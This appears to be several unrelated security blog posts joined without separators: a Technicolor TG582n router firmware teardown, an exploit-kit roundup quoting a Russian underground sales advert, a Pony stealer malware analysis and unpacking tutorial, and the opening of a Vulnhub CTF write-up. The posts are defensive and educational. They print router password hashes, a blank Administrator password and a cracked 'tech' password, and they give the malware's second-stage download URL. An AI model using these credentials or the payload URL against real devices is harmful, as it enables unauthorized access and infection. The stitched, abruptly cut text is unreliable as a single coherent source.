init.d/jffs2contentcheck:	if [ "`cat /proc/mounts | grep /dev/mtdblock0 | grep /rw`" ]; then
init.d/jffs2contentcheck:		[ -d /rw/etc ] || mkdir -m 775 /rw/etc
init.d/jffs2contentcheck:		if [ ! -d /rw/dl ]; then
init.d/jffs2contentcheck:			echo " Detected old jffs2 partition layout! Converting /rw to new layout"
init.d/jffs2contentcheck:			mkdir -m 775 /rw/dl
init.d/jffs2contentcheck:			for file in /rw/*; do
init.d/jffs2contentcheck:				([ "${file}" = "/rw/dl" ] || [ "${file}" = "/rw/etc" ]) && continue
init.d/jffs2contentcheck:				mv ${file} /rw/dl/
init.d/jffs2contentcheck:	#     /rw --> /userfs/config-bank-X
init.d/jffs2contentcheck:	#     /dl --> /rw/dl
init.d/jffs2contentcheck:	# Set /rw correctly: since /rw is on rootfs which is read-only, we
init.d/jffs2contentcheck:	mount -o bind $CONFDIR /rw
advancedservices.conf:HDTOOLSDIR="/rw/disk"
advancedservices.conf:FLASHCONFIGDIR="/rw/etc/"
mime.types:application/vnd.vectorworks

We found thatclinkd, jffs2contentcheck and advancedservices.conf have something to do with the /rw directory. Let's review these evidence.

• clinkd: in the comment section of the script: "This is the init script for the Entropic clinkd daemon". I wasn't able to find useful informations about this daemon.
• advancedservices.conf: nothing too much interesting here, only a small nudge to the fact that /rw/etc is the writable part of the flash.
• jffs2contentcheck: this is interesting, we found plenty of informations in this script. For better understand its purpose, this is the full source and, actually, it's pretty well commented.

#!/bin/sh

####
# This script checks and converts the layout of the writable partition to its
# latest version.
#
# Changelog:
#  * 7.4.4 > 8.1.1:
#    push down of dl partition content into /rw/dl
#    [Steven Aerts -- 2008/03/12]
####

. /etc/autoconf.conf

start () {

	# Verify 7.4.4 to 8.1.1 userfs migration
	# Old layout: (USERFS mounted on /dl)
	#      USERFS/user.ini
	#      USERFS/etc/...
	#      USERFS/tls/...
	# New layout: (USERFS mounted on /rw)
	#      USERFS/etc/...
	#      USERFS/dl/user.ini
	#      USERFS/dl/tls/...
	#      /dl --> /rw/dl
	if [ "`cat /proc/mounts | grep /dev/mtdblock0 | grep /rw`" ]; then
		[ -d /rw/etc ] || mkdir -m 775 /rw/etc
		if [ ! -d /rw/dl ]; then
			echo " Detected old jffs2 partition layout! Converting /rw to new layout"
			mkdir -m 775 /rw/dl
			for file in /rw/*; do
				([ "${file}" = "/rw/dl" ] || [ "${file}" = "/rw/etc" ]) && continue
				mv ${file} /rw/dl/
			done
		fi
	fi

	# Migrate to dual bank layout
	# New layout: (USERFS mounted on /userfs)
	#     USERFS/config-bank-X/etc/...
	#     USERFS/config-bank-X/dl/...
	#     /rw --> /userfs/config-bank-X
	#     /dl --> /rw/dl
	
	# Determine booted bank from command line
	BOOTID=$(sed -n "s/.*btab_bootid=\([0-9]\+\).*/\1/p" /proc/cmdline)

	# If BOOTID is empty, set it to a certain value (single-bank case)
	[ -z "$BOOTID" ] && BOOTID=999

	CONFDIR="/userfs/config-bank-$BOOTID"

	# Create a config directory for the booted bank if it does not yet exist
	[ ! -d $CONFDIR ] && mkdir $CONFDIR
	# Set /rw correctly: since /rw is on rootfs which is read-only, we
	# cannot use a symlink. However, mount supports the bind option which
	# essentially does the same.
	mount -o bind $CONFDIR /rw
	# If there are any files/directories in /userfs (config-bank-X
	# directories excluding), move them to the config directory of the
	# booted bank. This indicates a first boot from BLI.
	for i in $(ls /userfs | grep -v "^config-bank-*" | grep -v "^common$"); do
		mv /userfs/$i $CONFDIR
	done
	# If the config directory is still empty, copy the configuration
	# from another bank to allow a 'correct' boot. This can happen when
	# you upgrade an rbi with the bootloader.
	# NOTE: there is no guarantee that this configuration will work, but
	# it's better to have something.
	if [ -z "$(ls $CONFDIR | grep -v "^version$" 2>/dev/null)" -a -x /usr/bin/copyconfig ]; then
		/usr/bin/copyconfig "lastboot" $BOOTID
	fi

	# Set the 'lastboot' symlink to the current configuration
	rm -f /userfs/config-bank-lastboot
	ln -sf $CONFDIR /userfs/config-bank-lastboot

	# Copy the version file from /etc to /userfs/config-bank-X
	if [ -f /etc/version ]; then
		cp /etc/version $CONFDIR
	else
		echo "Unknown" > $CONFDIR/version
	fi

	# Create a common userfs directory
	[ ! -d /userfs/common ] && mkdir /userfs/common

}


case $1 in
start)
	start
	;;
stop)
	;;
restart)
	;;
*)
	echo "Usage $0 [start|stop|restart]"
	exit 1
	;;
esac

What's JFFS2 filesystem?

JFFS2 (Journaled Flash File System v2) is a file system designed for use on Flash devices such as those commonly found in embedded systems. Unlike some other file systems which may be stored on the Flash device and then copied into RAM during boot (i.e. ramdisk) JFFS2 actually resides on the Flash device and allows the user to read/write data to Flash. This is particularly useful in embedded devices that wish to save some persistent data between reboots. [cit]

We finally found where the persistent informations are saved. Coming back to the binwalk analysis, I remember many signature related to JFFS2 filesystem. Let's review the evidences extracted:

root@kali:~/Projects/tg582n/_dump.bin.extracted# tree jff*
jffs2-root
└── fs_1
    ├── common
    │   └── flash_image_fii
    ├── config-bank-999
    │   ├── dl
    │   │   ├── persistent.cnf
    │   │   ├── phy.conf
    │   │   ├── seed.dat
    │   │   ├── stsZWEADQ8.CM0.upg
    │   │   ├── tls
    │   │   │   ├── cert0001.pem
    │   │   │   └── pkey0001.pem
    │   │   ├── user.ini
    │   │   └── xdsl.inf
    │   ├── etc
    │   │   ├── group
    │   │   ├── gshadow
    │   │   ├── passwd
    │   │   ├── resolv.conf
    │   │   ├── secrets.tdb
    │   │   ├── shadow
    │   │   ├── smb.conf
    │   │   └── smbpasswd
    │   └── version
    └── config-bank-lastboot -> /userfs/config-bank-999
jffs2-root-0
└── fs_1
    ├── common
    │   └── flash_image_fii
    ├── config-bank-999
    │   ├── dl
    │   │   ├── persistent.cnf
    │   │   ├── phy.conf
    │   │   ├── seed.dat
    │   │   ├── stsZWEADQ8.CM0.upg
    │   │   ├── tls
    │   │   │   ├── cert0001.pem
    │   │   │   └── pkey0001.pem
    │   │   ├── user.ini
    │   │   └── xdsl.inf
    │   ├── etc
    │   │   ├── group
    │   │   ├── gshadow
    │   │   ├── passwd
    │   │   ├── resolv.conf
    │   │   ├── secrets.tdb
    │   │   ├── shadow
    │   │   ├── smb.conf
    │   │   └── smbpasswd
    │   └── version
    └── config-bank-lastboot -> /userfs/config-bank-999
jffs2-root-1
└── fs_1
    ├── config-bank-lastboot -> /userfs/config-bank-999
    ├── group
    ├── passwd
    ├── persistent.cnf
    ├── phy.conf
    ├── secrets.tdb
    ├── smb.conf
    ├── smbpasswd
    ├── stsZWEADQ8.CM0.upg
    ├── user.ini
    └── xdsl.inf
jffs2-root-10
└── fs_1
    ├── config-bank-lastboot -> /userfs/config-bank-999
    ├── group
    ├── passwd
    ├── persistent.cnf
    ├── smbpasswd
    └── user.ini
jffs2-root-11
└── fs_1
    ├── config-bank-lastboot -> /userfs/config-bank-999
    ├── group
    ├── passwd
    ├── persistent.cnf
    ├── smbpasswd
    └── user.ini
jffs2-root-12
└── fs_1
    ├── config-bank-lastboot -> /userfs/config-bank-999
    ├── group
    ├── passwd
    ├── persistent.cnf
    ├── smbpasswd
    └── user.ini
jffs2-root-13
└── fs_1
    ├── config-bank-lastboot -> /userfs/config-bank-999
    ├── group
    ├── passwd
    ├── persistent.cnf
    ├── smbpasswd
    └── user.ini
jffs2-root-14
└── fs_1
    ├── config-bank-lastboot -> /userfs/config-bank-999
    ├── group
    ├── passwd
    ├── persistent.cnf
    ├── smbpasswd
    └── user.ini
jffs2-root-15
└── fs_1
    ├── config-bank-lastboot -> /userfs/config-bank-999
    ├── group
    ├── passwd
    ├── persistent.cnf
    ├── smbpasswd
    └── user.ini
jffs2-root-16
└── fs_1
    ├── config-bank-lastboot -> /userfs/config-bank-999
    ├── group
    ├── passwd
    ├── persistent.cnf
    ├── smbpasswd
    └── user.ini
jffs2-root-17
└── fs_1
    ├── config-bank-lastboot -> /userfs/config-bank-999
    ├── group
    ├── passwd
    ├── persistent.cnf
    ├── smbpasswd
    └── user.ini
jffs2-root-18
└── fs_1
    ├── config-bank-lastboot -> /userfs/config-bank-999
    ├── group
    ├── passwd
    ├── persistent.cnf
    ├── smbpasswd
    └── user.ini
jffs2-root-19
└── fs_1
    ├── config-bank-lastboot -> /userfs/config-bank-999
    ├── group
    ├── passwd
    ├── persistent.cnf
    ├── smbpasswd
    └── user.ini
jffs2-root-2
└── fs_1
    ├── config-bank-lastboot -> /userfs/config-bank-999
    ├── group
    ├── passwd
    ├── persistent.cnf
    ├── secrets.tdb
    ├── smb.conf
    ├── smbpasswd
    ├── stsZWEADQ8.CM0.upg
    ├── user.ini
    └── xdsl.inf
jffs2-root-20
└── fs_1
    ├── config-bank-lastboot -> /userfs/config-bank-999
    ├── group
    ├── passwd
    ├── persistent.cnf
    ├── smbpasswd
    └── user.ini
jffs2-root-21
└── fs_1
    ├── config-bank-lastboot -> /userfs/config-bank-999
    ├── group
    ├── passwd
    ├── persistent.cnf
    ├── smbpasswd
    └── user.ini
jffs2-root-22
└── fs_1
    ├── config-bank-lastboot -> /userfs/config-bank-999
    ├── group
    ├── passwd
    ├── persistent.cnf
    ├── smbpasswd
    └── user.ini
jffs2-root-23
└── fs_1
    ├── config-bank-lastboot -> /userfs/config-bank-999
    ├── group
    ├── passwd
    ├── persistent.cnf
    ├── smbpasswd
    └── user.ini
jffs2-root-24
└── fs_1
    ├── config-bank-lastboot -> /userfs/config-bank-999
    ├── group
    ├── passwd
    └── smbpasswd
jffs2-root-25
└── fs_1
    ├── config-bank-lastboot -> /userfs/config-bank-999
    ├── group
    ├── passwd
    └── smbpasswd
jffs2-root-26
└── fs_1
    ├── config-bank-lastboot -> /userfs/config-bank-999
    ├── group
    ├── passwd
    └── smbpasswd
jffs2-root-27
└── fs_1
    ├── passwd
    └── smbpasswd
jffs2-root-28
└── fs_1
    ├── passwd
    └── smbpasswd
jffs2-root-29
└── fs_1
    └── smbpasswd
jffs2-root-3
└── fs_1
    ├── config-bank-lastboot -> /userfs/config-bank-999
    ├── group
    ├── passwd
    ├── persistent.cnf
    ├── secrets.tdb
    ├── smb.conf
    ├── smbpasswd
    ├── user.ini
    └── xdsl.inf
jffs2-root-4
└── fs_1
    ├── config-bank-lastboot -> /userfs/config-bank-999
    ├── group
    ├── passwd
    ├── persistent.cnf
    ├── secrets.tdb
    ├── smbpasswd
    ├── user.ini
    └── xdsl.inf
jffs2-root-5
└── fs_1
    ├── config-bank-lastboot -> /userfs/config-bank-999
    ├── group
    ├── passwd
    ├── persistent.cnf
    ├── smbpasswd
    ├── user.ini
    └── xdsl.inf
jffs2-root-6
└── fs_1
    ├── config-bank-lastboot -> /userfs/config-bank-999
    ├── group
    ├── passwd
    ├── persistent.cnf
    ├── smbpasswd
    ├── user.ini
    └── xdsl.inf
jffs2-root-7
└── fs_1
    ├── config-bank-lastboot -> /userfs/config-bank-999
    ├── group
    ├── passwd
    ├── persistent.cnf
    ├── smbpasswd
    ├── user.ini
    └── xdsl.inf
jffs2-root-8
└── fs_1
    ├── config-bank-lastboot -> /userfs/config-bank-999
    ├── group
    ├── passwd
    ├── persistent.cnf
    ├── smbpasswd
    └── user.ini
jffs2-root-9
└── fs_1
    ├── config-bank-lastboot -> /userfs/config-bank-999
    ├── group
    ├── passwd
    ├── persistent.cnf
    ├── smbpasswd
    └── user.ini

41 directories, 210 files

Honestly I don't know why there are so much copies of same files but, definitely, we found what we were looking for: not only the passwd file but also certificates with private keys, user configurations, xdsl line configurations, etc.

Let's try to understand if there are any differences between files inside that directories, so we can narrow our analysis. With a basic bash scripting knowledge, we can use md5sum to find if files are the same. Turns out that almost every file are copies and the only variable is user.ini. Also, the .upg file appears to be the same of smbpasswd.

group b6645876780362adfefe6ae7aa2aa970
passwd ccfbeda0bfe6a969d9f3e95284e450be
persistent.cnf 0169902625104a21be24f44df679d610
phy.conf c176b13932e5bf01930a066491877986
secrets.tdb cbe77f45cae8dad41cb9bef73ed69ed6
smb.conf 7c6ed2fab7571c3441d3af6740f9d067
smbpasswd d41d8cd98f00b204e9800998ecf8427e
stsZWEADQ8.CM0.upg d41d8cd98f00b204e9800998ecf8427e
user.ini 080b575f72aa410d0d2606ed9f152c18
user.ini 1b37b14685d303d192c80e5e8c3e68c7
user.ini 1d57ab52d6fa5d4d61cf6f520ac62b29
user.ini 2113deb10fd3cc6e5e5d5fc44489ee13
user.ini 2fbe85cc5305473ad68ae9b842134696
user.ini 3a4860416befea32f5a6952f75c1073e
user.ini 4388cd21843a0e1dbc7ec8b9d6b0fe81
user.ini 59499065a1243c0fd0bc3aec77eb5052
user.ini 6281deec4ac9389b797afc4873b9a90a
user.ini 6400c4bc913e682e32e055d262c058d4
user.ini 8165fea871781c7320bd6ef3b201c90f
user.ini 8504dfd01106e4f2e2a21c6e7460964e
user.ini 919573ff12d4eabf968a6dfd97a7d616
user.ini c4f70675bc732dd93fc8bb9c9219fb74
user.ini cab37a7859e4cb319aa1684f9fbee277
user.ini e9930518fb8db6670f14af642e177083
xdsl.inf 25daad3d9e60b45043a70c4ab7d3b1c6

Let's analyze them:

group: standard file, the same you can find on all *nix systems but with interesting groups.

SuperUser::101:
TechnicalSupport::102:
Administrator::103:
WebsevUser::104:
LAN_Admin::105:
PowerUser::106:
User::107:
WAN_Admin::108:

passwd: the file we were looking for. This file will be slightly modified during boot because root access is somehow disabled but at least we found two users: Administrator and tech with relative hash.

root::0:0:Super User:/:/bin/sh
nobody:*:1:1:nobody:/:/bin/sh
mvfs:*:499:1::/var/mvfs:/bin/sh
Administrator:ANpAYtow5vx0U:500:103:Linux User:(null):/bin/sh
tech:RB6zAiLmCT4zM:501:102:Linux User:(null):/bin/sh

If you search on Google, turns out that the hash ANpAYtow5vx0Uwas generated by the command mkpasswd and here we can read that:

If your password is on this list, it is not secure. It was generated by using the program 'mkpasswd' and then not typing anything. It turns out that 'mkpasswd' doesn't make passwords, it makes password hashes. If you enter a blank password, it generates one of 4096 possible passwords.

So, Administrator user has a simple blank password, I didn't find anything similar with the hash of the tech user. For this user I started a simple crack session with john, and without any fancy cracking rig or powerful graphic video card, after an affordable cracking time (~ 2days) I managed to crack the password: it appears to be 55058391.

secrets.tdb: related to Samba services, it stores passwords in clear text. This file can be opened with the tdbdump:

{
key(23) = "SECRETS/SID/TECHNICOLOR"
data(68) = "\01\04\00\00\00\00\00\05\00\00\00\15\89+\B5\E1jD\15P\1A\92\F03\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00"
}
{
key(17) = "INFO/random_seed\00"
data(4) = "y\04\00\00"
}

user.ini: router clear text configuration file.

There are some other files but, for now, we have enough to start.

Accessing the device...in some way

We found that the Administrator user has blank password. We can now login via console access. Tech user access is somehow disabled.

Username : Administrator
Password : 
------------------------------------------------------------------------

                             ______  Technicolor TG582n
                         ___/_____/\ 
                        /         /\\  8.C.M.0
                  _____/__       /  \\ 
                _/       /\_____/___ \  Copyright (c) 1999-2012, Technicolor
               //       /  \       /\ \
       _______//_______/    \     / _\/______ 
      /      / \       \    /    / /        /\
   __/      /   \       \  /    / /        / _\__ 
  / /      /     \_______\/    / /        / /   /\
 /_/______/___________________/ /________/ /___/  \ 
 \ \      \    ___________    \ \        \ \   \  /
  \_\      \  /          /\    \ \        \ \___\/
     \      \/          /  \    \ \        \  /
      \_____/          /    \    \ \________\/
           /__________/      \    \  /
           \   _____  \      /_____\/
            \ /    /\  \    /___\/    F.D.C. FW 14
             /____/  \  \  /
             \    \  /___\/
              \____\/

------------------------------------------------------------------------
{Administrator}=>
contentsharing          firewall                printersharing          
pwr                     service                 connection              
cwmp                    dhcp                    dns                     
download                dsd                     dyndns                  
eth                     atm                     config                  
debug                   env                     expr                    
grp                     hostmgr                 ids                    
igmp                    interface               ip                      
ipqos                   label                   language                
mbus                    memm                    mlp                     
mobile                  nat                     ppp                     
pptp                    ptrace                  script                  
sntp                    software                statecheck              
syslog                  system                  tls          
{Administrator}=>

I spent a lot of time poking around in this weird restricted shell. I wasn't able to escape to our beloved Busybox that I know is running below. No matter what I tried, I always ended up in this jail I could not escape. It seems to manage everything from the console access.

To confirm this theory, I found this old post:

And suddenly I remembered this two sneaky files laying in the /nmon directory.

I'm quite sure this program is run at boot time and, basically, take the control of the entire router. This can now be confirmed in the boot log above:

linux application start ...
wait for linux_appl to initialize (1)
wait for linux_appl to initialize (2)
************* ERROR RECORD *************
000000:00:00.000000
Application NMON started after POWERON.
****************** END *****************
wait for linux_appl to initialize (3)
appl_init: BUILD VERIFIED!
wait for linux_appl to initialize (4)
[SS EMUL] ERR: opening config file /active/ss.conf failed
End of initialisation
wait for linux_appl to initialize (5)

And this is the script that, at boot time, runs the linux_appl.exe

#
#/etc/init.d/linuxappl
#
#!/bin/sh

. /etc/init.d/mbusd_util

case $1 in
    start)
        TELLER=0
        # linux application configuration
        /bin/echo "linux application start ..."
        rm -f /var/run/linux_appl
        rm -f /var/run/init_finished
        mbusd_set_loadapp
        ../../nmon/linux_appl.exe /dev/nmon/nmontrace /dev/nmon/nmonerr /archive/ &
        while [ ! -f /var/run/linux_appl ]
        do
           TELLER=`expr ${TELLER} + 1`
           echo "wait for linux_appl to initialize (${TELLER})"
           sleep 1;
        done
        ;;
    stop)
        killall -9 linux_appl
        ;;
    *)

esac

Next steps

This ends up this phase of my journey. Honestly, I was (am) not prepared to impact in a so restricted and particular environment. My next steps will be to look the router from a network point of view, analyzing it while it's up & running, trying to find information within the services it runs and offers.

I hope you will find this post useful and if you have any hints or ideas to help me, please drop me a note.

The CVE-2018-15982 is a bug that allows remote code execution in Flash Player up to 31.0.0.153, spotted in the wild as a 0day. Patched on December 05, 2018 with APSB18-42.

Underminer:

Underminer exploit kit improves in its latest iteration - 2018-12-21 - Malwarebytes

Fallout:

2019-01-16

Files: Fiddler on VT - Pcap on VT

Associated Advert underground:

Итак! Тяжкие работы по восстановлению всей инфраструктуры связки закончены, были проведены тесты и в данный момент связка работает в полном объеме. Также были произведены множество правок и изменений.

Изменения:

1. Увеличена производительность
2. Полностью переработан механизм обфускации кода и генерации лэндинга.
3. Убран CVE-2018-8373 на переработку. В данный момент сплоит ведет себя не стабильно.
4. Добавлен новый флеш сплоит CVE-2018-15982.
5. Для запуска повершелл в шеллкод добавлен код отключения AMSI
6. Кучка мелких правок

ИЗМЕНЕНА ЦЕНОВАЯ ПОЛИТИКА Неделя 400$ Месяц 1300$

В данный момент при проверке отстука софта со связки было выявлено:

1. Отстук EXE на уровне 80-90%
2. Отстук PowerShell на уровне 95-100%

Translated by google as:

So! The hard work on the restoration of the entire infrastructure of the bundle was completed, tests were carried out and at the moment the bundle is working in full. There have also been many edits and changes.

Changes:

1. Increased performance
2. The code obfuscation and landing generation mechanism has been completely redesigned.
3. Removed CVE-2018-8373 for recycling. At the moment, the flow rate is not stable.
4. Added new flash sploit CVE-2018-15982.
5. To launch Powershell, the disable code AMSI is added to the shellcode
6. A bunch of minor edits

CHANGED PRICE POLICY Week 400 $ Month $ 1300

At the moment, when checking the otstuk software from the bundle, it was revealed:

1. Otstuk EXE level 80-90%
2. Otstuk PowerShell at the level of 95-100%

Spelevo:

2019-03-06 Appears to be a new Exploit Kit which has some similarities with “SPL EK”. (CVE-2018-8174 has been spotted there as well)

Acknowledgement:

Thanks to Chaoying Liu for CVE confirmation.

Files: Fiddler on VT - Pcap on VT (note: Some proxy were used)

GreenFlash Sundown:

19.03.26 #Malvertising -> #GreenFlashSundown EK-> #SeonRansomware ver 0.2 & #pony & #miner using CVE-2018-15982 - 2019-04-05 - @vigilantbeluga

Shadowgate Returns to Worldwide Operations With Evolved Greenflash Sundown Exploit Kit - 2019-06-27 - Trendmicro

Read More:

Adobe Flash Zero-Day Exploited In the Wild - 2018-12-05 - Gigamon

Underminer exploit kit improves in its latest iteration - 2018-12-21 - Malwarebytes

After the first two parts here and here, we can move forward giving the sample a run inside a disassembler to look what's inside and, eventually, into a debugger to see it live.

IDA has some difficulties to analyze the sample due to the facts it heavily uses anti-disassembly trick:

Note that the conditional jump to 41062E never gonna happens. We can patch those bytes \xF8\x72\x01 with NOP instruction or leave them alone knowing the fact that IDA can be fooled during analysis. Also at 41062F the sample delays its execution, invoking GetTickCount function and dividing the remainder of the DIV instruction by a predefined constant. So until the CMP instruction is satisfied it will run this bunch of code a pseudo-random number of times. It appears that this technique can trick some antivirus heuristic controls.

After condition is verified, the flow reaches the CALL instruction at 4105c3, we see another anti-disassembly technique, the misaligned PUSH instruction.

Clearly the misaligned PUSH at 4105c7 is there to fool the disassembler and we need to fix it if we want to have a better look on that piece of code. By defining manually that byte at 4105d0, IDA can now better analyze the code:

Now it's clear what this piece of code does: it pushes the address of the function at 4105a2 onto the stack. This pointer will be the argument of SetUnhandledExceptionFilter function that, in the end, will exit from the process in case of unhandled exception.

Let's focus on what happens at address 410508, because it's where the fun starts:

After some studies I tried to interpret that code and the results are shown below.

Basically malware is starting its activities: first it loads libraries with the OleInitialize and LoadLibraries calls, after it fires up a delayer routine that, in malware intentions, will fool the heuristic controls of Kaspersky Antivirus. After that it enable some required privileges with the fourth call:

This routine will cycle through and enable all these privileges:

And after that it tries to get if the process is running within LocalSystem or not. In both cases it will impersonate or the LocalSystemUser or the LocalUser using the API call to GetUserNameA.

In the next session we'll go deeper into the analysis trying to better understand its codebase.

After we were able to unpack the sample like we did in the previous post, it's time to understand what the malware is intended to do. The very first thing that I normally do is to give the sample a dry run inside a dedicated virtual machine, just to observe its behavior and monitoring its API calls. These calls can be monitored with a little tool called ApiLogger - that can be found here and it's automatically installed by the Flare-vm script.

The API logger works by injecting a DLL into the target process. Once loaded, the DLL will insert a series of detours style hooks into specific API calls. When these API are accessed by any code in the process, they will trigger a notification message which gets sent to the main interface.

It's clear that malware tries to steal informations (probably credentials) of various software via calls to RegOpenKeyA and RegOpenKeyExA:

And at the end of the run, it tries to connect to the domain singatradeing.com:

We can catch this connection with another great tool from FireEye, FakeNet-NG that will capture and fake responses to all the queries DNS and HTTP  requests, saving all activities into a pcap file that could be analyzed with Wireshark:

We can see that the malware resolved the domain name singatradeing.com with a query DNS (that is faked by FakeNet-NG):

And sent an http GET request to: http://singatradeing.com/espnphp/coreserver/shit.exe

Our fake response served an executable file that was run by the malware:

After that, the malware deleted itself. For this reason, remember to make a copy of the sample executable.

I wasn't able to download the real executable (shit.exe) but I'm sure it will be easy to find it.

More informations related to that domain can be found here.

Recap

The malware sample, when it runs, tries to steal credentials from the registry keys, tries to download another executable and run it, deleting itself at the end.

During my day by day job, I had the chance to came across a mail that was blocked by an antispam platform. Attached to this mail there was a sample recognized as a variant of Pony Stealer malware. Since I've been greatly interested into malware analysis in the last few months, I thought it would be fun, and also a useful exercise, to apply all the notions I've been reading so far and writing this post, maybe, would help me in fixing methodologies and concepts. I hope this will be a two parts blog post: during this first part I will focus on unpacking the malware, during the second one I'll try to analyze its real behavior. Let's the journey begin.

Noob alert

First things first: I'm no expert at all. This is my first experience in reversing malware - and also in blogging something - and so expect a lot of shady things and confused assumptions. Learning something new is always a good idea and I hope that digging into malware analysis will allow me to glue together some skills that I'm trying to learn in the last couple of  years. Also, do not rely on the memory addresses in the screenshots. As this post was written during various sessions, memory addresses changed every time due to operating system memory protections (ASLR).

Lab setup

You can find great tutorials online on how to setup a professional and secure lab to test all malicious sample you get. I'd like to point you out to these useful resources:

• Microsoft Windows 7 and 10 images
• Flare-vm
• Malware Analysis Virtual Machine

Running the sample into online sandbox

Since, right now, I don't have a working setup of Cuckoo sandbox on my behalf, the very first thing I did was uploading the sample into a freely usable sandbox online with these results: http://tinyurl.com/y9gspzmt. As you can see, it labels the sample as a variant of the VBObfus.g family. I didn't find  a lot of informations about this malware family, but dynamic analysis shows me very few indicators:

• No evidence of malware activity into screenshot.
• No network activity.
• Every string is almost obfuscated.
• No extracted files.
• No evidence of process injection.

Important to note, although no clear evidences, the sample is classified as malicious with threat level as 71/100. Pretty strange, uh?

Hybrid Analysis has this great feature: if you click on the sample filename, in this case SKMBT_C36018060720040_pdf.exe, it shows a bunch of useful informations such as API calls used by the executable, registry keys it gets and/or sets during its runtime, filesystem activity, handles opened to files, operating system modules and other kind of libraries it uses. With all these informations we should have a proper level of confidence of what happens during the sandbox run. Let's dig into some of them.

First thing I looked at, was the activity on the filesystem:

No files saved and the infamous msvbvm60.dll caught my attention, but we will deal with this later. Nothing too much interesting into registry section too:

There's a possibility to filter the operations (Query, Open, Write and Delete) but I didn't find anything related to write or delete operations.

The most interesting section is the API calls section. To understand the malware behavior during its run inside the sandbox, it's necessary to analyze what API this sample calls. Following this and this useful resources, I started checking API calls, trying to find any evidence of anti-debug or anti-vm techniques, mainly because there's no evidence of process injection and nowadays process injection is a very, very common technique. After checking all API anti-debug calls found in documentation I was clearly missing something because I wasn't able to find any of them. So it's time to give it a run into my lab and observe its behavior.

Static analysis

Before give it a run, let's check with some basic tools how's the file is built:

So, really we're dealing with a VisualBasic 5/6 executable file.

Let's dig into more details with the executable:

With this great tool we can find some initial informations:

File Version Info Size=1548 -> 060Ch
Translations : 040904B0     Language : English (U.S.)  -  ( 0 4 0 9 )

CompanyName  =  NIrSOft
FileDescription  =  ELEctrum
FileVersion  =  6.02
InternalName  =  Bulbotuber
LegalCopyright  =  LAVasoft
LegalTradeMarks  =  THE ERAser PROject
OriginalFilename  =  Bulbotuber.exe
ProductName  =  ASUs
ProductVersion  =  6.02
Comments  =  Pwa, INA.

Don't know how useful these informations are but, anyway, it's always better to have informations rather than nothing. Assumed that it's a VB5/6 executable file and I don't know how to deal with it inside IDAPro, my next action will be to run it inside my Analysis VM, with the intent to understand better its behavior.

Dynamic analysis

Interestingly it seems to me that, after some sort of unpacking in memory, there is clearly a process injection:

Apparently there must be in place some sort of anti-debug and/or anti-vm tricks. Easily enough in x32dbg there is a life-saving plugin, named ScyllaHide, that is capable of doing some black magic to hide the debugger from malware. We can avoid the process crashing during its run inside the debugger.

We can observe that the sample creates another process with the same name - a copy of itself - and this is typically an indication of the process hollowing.

I won't dig into describing the process injection because there are some great guys that have created very complete and clear tutorials on how to approach this technique. I can suggest this site maintained by this great guy: Sergey and also his Youtube channel here. I strongly suggest to follow all of his videos and tutorials: they are a great way to learn malware analysis and unpacking.

Unpacking the malware

To unpack the malware we'll focus mainly on these three API calls:

kernel32.CreateProcessW

ntdll.NtWriteVirtualMemory

ntdll.NtResumeThread

New process creation

First API call to breakpoint into debugger is kernel32.CreateProcessW, that creates a new process and its primary thread (cit. Microsoft). We're interested in its syntax:

BOOL CreateProcessA(
  LPCSTR                lpApplicationName,
  LPSTR                 lpCommandLine,
  LPSECURITY_ATTRIBUTES lpProcessAttributes,
  LPSECURITY_ATTRIBUTES lpThreadAttributes,
  BOOL                  bInheritHandles,
  DWORD                 dwCreationFlags,
  LPVOID                lpEnvironment,
  LPCSTR                lpCurrentDirectory,
  LPSTARTUPINFOA        lpStartupInfo,
  LPPROCESS_INFORMATION lpProcessInformation
);

And more interestingly, its structure on the stack when its called:

In accordance with the calling convention the function parameters are pushed on the stack in reverse order.  At address 0x0018F460 there's the function fifth parameter dwCreationFlags, with the value of 0x00000004. This value means CREATE_SUSPENDED; we have reached the start of the hollowing process: a new copy of the process has been created in suspended mode.

We can confirm its PID 2660, running the function CreateProcessW until it returns and checking in memory dump the value of the first parameter pushed on the stack at address 0x0018F470 with the value of 0x0643008C:

The new process PID is at address 0x06430094: 0x0A64 that translate into decimal in 2660.

Running the newly created process

We won't bother too much with ntResumeThread API call. Just note that when you reach breakpoint on this call, you know that the malware is ready to run itself (the new copy of itself actually) and, for this reason, you need to be very caution. Just don't let this call run because you're executing the malware itself.

Unpacking the malware

The interesting part: this API call let us to dump the hidden payload stored inside the malware. So, breakpoint on it and let the malware run until it reaches the breakpoint. As before:

NtWriteVirtualMemory(
  IN HANDLE               ProcessHandle,
  IN PVOID                BaseAddress,
  IN PVOID                Buffer,
  IN ULONG                NumberOfBytesToWrite,
  OUT PULONG              NumberOfBytesWritten OPTIONAL );

Basically we're interested in two arguments, in particular: the BaseAddress and the Buffer. These two parameters tell us where the buffer (the malware payload) will be written inside the newly created child's memory. During its run, the malware makes a lot of calls to this function and I single stepped all of them: when breakpoint is reached, analyze the stack:

Focus on the third argument: 0x064B6000 and follow it into the memory dump:

It seems we found something interesting, uh? :-)

We found that a PE file will be copied inside a memory address. Easy to dump it, right now: right click on to that address and follow it into memory map and after that dump that segment into a file.

So we have dumped an entire segment into a bin file. We can open it with an hex editor, scroll down until we reach the start of PE file (MZ magic bytes) and clear all junk from MZ to the beginning of the dump. Save to a new exe file and we're ready to open it with another great tool made by hasherazade: PE Bear. Luckily for us, IAT (Import Address Table) was not corrupted and we can see all the API the (real)malware calls when it runs.

Basically we have unpacked the malware.

I will try to update this post with the second part as soon as I'll figure it out. :-)

This writeup covers the Vulnhub CTF machine named Homeless by Min Ko Ko. Honestly this was a hard box and I had a hard time with some really nasty tricks but finally, I learned a lot. Seriously, a lot.

After booting up victim box and kali, initial phase, as always, is discovering the box:

Box had from my DHCP server address 172.16.10.127

Mapping some ports:

Nothing too much interesting, standard HTTP port and SSH port. What seems interesting is the robots.txt that gives some clue about a special wordlist that eventually will be used in the next phases. But, trust me, we are very far from there right now. :-)

So, time to open up our browser and give a look around. What caught my attention is that somewhere on the page is rendered our browser User-Agent header:

So, instantly, what comes to mind is Shellshock! Sadly I spent two entire days poking around with every single point of injection trying to take advantage of this bug but nothing showed up. Literally nothing. :-\

So I went brutal and I downloaded every single piece of this website and analyzed every single evidence. Very much time but, in the end, well spent:

This small file, favicon.jpg, it’s not the usual one.

